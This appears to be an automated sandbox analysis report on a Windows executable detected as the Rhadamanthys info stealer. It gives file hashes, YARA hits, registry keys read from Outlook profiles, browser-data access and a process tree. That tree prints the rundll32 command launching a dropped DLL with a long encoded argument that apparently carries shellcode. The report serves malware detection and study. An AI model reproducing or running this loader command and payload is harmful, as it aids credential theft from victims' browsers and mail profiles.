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Analysis
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max time kernel
56s -
max time network
59s -
platform
windows10-1703_x64 -
resource
win10-20230220-en -
resource tags
arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system -
submitted
05/03/2023, 10:20
Static task
static1
Behavioral task
behavioral1
Sample
362c77f4545e9db800077e2f195784c90ad7b5e0443bdf7ce46c684ba8d5f365.exe
Resource
win10-20230220-en
General
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Target
362c77f4545e9db800077e2f195784c90ad7b5e0443bdf7ce46c684ba8d5f365.exe
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Size
237KB
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MD5
ff3942e2fc45b4e77c10137b8b1d615c
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SHA1
70ad78aaf492327465db1cf7c28310816c1f5940
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SHA256
362c77f4545e9db800077e2f195784c90ad7b5e0443bdf7ce46c684ba8d5f365
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SHA512
d635b5df58caabb1c5df34e2c06dd65cb7912acab4173a70e82a480c622af81c890dfaaf1cfba664f61cb2f5a52eb83477c2b38f8fe33101871975505b93614c
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SSDEEP
3072:VAgRkaXIWULQZhXATJosqFjaycA6529O6Z+igQ8ei4x51APj47lynZSFL9R:xRJXvULEyV+lS2V55mPilyZE
Malware Config
Signatures
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Detect rhadamanthys stealer shellcode 4 IoCs
resource yara_rule behavioral1/memory/2168-124-0x0000000002460000-0x000000000247D000-memory.dmp family_rhadamanthys behavioral1/memory/2168-125-0x0000000002460000-0x000000000247D000-memory.dmp family_rhadamanthys behavioral1/memory/2168-127-0x0000000002460000-0x000000000247D000-memory.dmp family_rhadamanthys behavioral1/memory/2168-137-0x0000000002460000-0x000000000247D000-memory.dmp family_rhadamanthys -
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
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Blocklisted process makes network request 1 IoCs
flow pid Process 3 2496 rundll32.exe -
Loads dropped DLL 1 IoCs
pid Process 2496 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook rundll32.exe Key opened \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook rundll32.exe Key opened \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook rundll32.exe Key opened \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook rundll32.exe Key opened \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook rundll32.exe Key opened \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook rundll32.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Program crash 1 IoCs
pid pid_target Process procid_target 4144 2496 WerFault.exe 66 -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString rundll32.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2496 rundll32.exe 2496 rundll32.exe 2496 rundll32.exe 2496 rundll32.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2168 wrote to memory of 2496 2168 362c77f4545e9db800077e2f195784c90ad7b5e0443bdf7ce46c684ba8d5f365.exe 66 PID 2168 wrote to memory of 2496 2168 362c77f4545e9db800077e2f195784c90ad7b5e0443bdf7ce46c684ba8d5f365.exe 66 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook rundll32.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook rundll32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\362c77f4545e9db800077e2f195784c90ad7b5e0443bdf7ce46c684ba8d5f365.exe"C:\Users\Admin\AppData\Local\Temp\362c77f4545e9db800077e2f195784c90ad7b5e0443bdf7ce46c684ba8d5f365.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2168 -
C:\Windows\system32\rundll32.exe"C:\Users\Admin\AppData\Roaming\nsis_unse569ec5.dll",PrintUIEntry |5CQkOhmAAAA|1TKr5GsMwYD|67sDqg8OAAl|xYmwxC0TNSO|1k8B3tZkgiyf2sAZQByAG4XAP9sADMAMgAuAKVkHwBs8|AtBQPz8Hj+FwB6AGcASwBm+wA0IwBXAFMAMOsAaDsATC0CWUiD|+wo6AQCAABI|4PEKMPMzMxM|4lEJBhIiVQkvxBIiUwkCF0BSP+LRCQwSIkEJPaBAThIbwAISMdE2yQQLQHrDoEBEEjXg8ABjwEQgQFASO05lgBzJZ8Diwwk|0gDyEiLwUiL9UyrAVR7AAPRSIt|yooJiAjrwWYFv2VIiwQlYPPwM||JSItQGEg70f90NkiDwiBIi|8CSDvCdCpmg|94SBh1GkyLQP9QZkGDOGt0B+4REUt1CBEQeBAu|3QFSIsA69VI64tI|QDBagBAU1X|VldBVEFVQVb7QVddAWaBOU1a|02L+EyL8kiL79kPhfzz8ExjSf88QYE8CVBFAO8AD4Xq8|BBi4T7CYjz8IXASI087wEPhNZqEYO8Cd2MLQEPhMfz8ESL|2cgRItfHIt3|yREi08YTAPh|0wD2UgD8TPJv0WFyQ+EpPPwTf+LxEGLEEUz0v9IA9OKAoTAdP8dQcHKDQ++wN76AAFEA9C|EXXs|0GB+qr8DXx0|w6DwQFJg8AE|0E7yXNp68aL|8EPtwxORYss|4tMA+t0WDPtvqoQdFFBixTBANP|M8mKAkyLwuu3D8HJyBEDyOUQAfdBigDVEO0zwDOf9kE7DLbgEKYAg||GAYP4CHLu6|8KSIvLQf|VSd+JBPeDxeQQxATfO28Ycq9mAUFf|0FeQV1BXF9e+11bMxdIgexgAf5kAIvp6Gb+||+|SIXAD4SYdSBM9Y2vAYsrEMgz|+j9m30gjV8ETI1F|0Yz0ovL|1Qk|WiAIEyL4A+Ea3p1IEWoEDPAi9ORIF9IiXwkIKYgcIAgP0iL8A+ES3UgpiD|UEiNVghEjUffQEiNjCSFEUiL79jofP1+II1WSGreIBDiIczz8Ohn7yA|RIsGjVcIQSCmIL1YyiGJhCSAhxLe9vPwiw7aIFiJjCTYcREHMJEg6DHvIIuc|i0yTItdOkiD+|tsSIogMEyJZCTvOEyLpBoyTIlcboQBhCTchxGGko0Ru41HSzCMJPDz8Enfi9To6fwFMIqc7ngySI2EeDJBgPN|IY1PbEQwGKQCf4PpAXXzgbx4Mv8hUmV4dU2LhLsk9CIxlCT4NQHC|0g72HI4g|psv3YzRI1JQPoAlKdBuACYAKYgQMoi+Od0GUS2MMAxSY1U+yRskSBJg+hs6N1rgjBIi86mIHhI|4X|dBKLVUJM|I4wGzFIjUwkQP8P10iBxHQhYSQtCC0B2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- outlook_office_path
- outlook_win_path
PID:2496 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2496 -s 2283⤵
- Program crash
PID:4144
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
49KB
MD5832890fded186835970d1d3302590138
SHA15385703e9dcde43e60928b2e9c941b7232468a6a
SHA256438c088568093ad767802ba5e132efbd4e643ddf62e4996565c3b46719e3e576
SHA5125cf752eac75b532b32501c9d469cbcb6638b49cf20df040554b37986cbe3c068a10e2ff69747b594b5b114111cbbe1cdfbbd0f394a7ac71b863e042414a68ae1
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Filesize
49KB
MD5832890fded186835970d1d3302590138
SHA15385703e9dcde43e60928b2e9c941b7232468a6a
SHA256438c088568093ad767802ba5e132efbd4e643ddf62e4996565c3b46719e3e576
SHA5125cf752eac75b532b32501c9d469cbcb6638b49cf20df040554b37986cbe3c068a10e2ff69747b594b5b114111cbbe1cdfbbd0f394a7ac71b863e042414a68ae1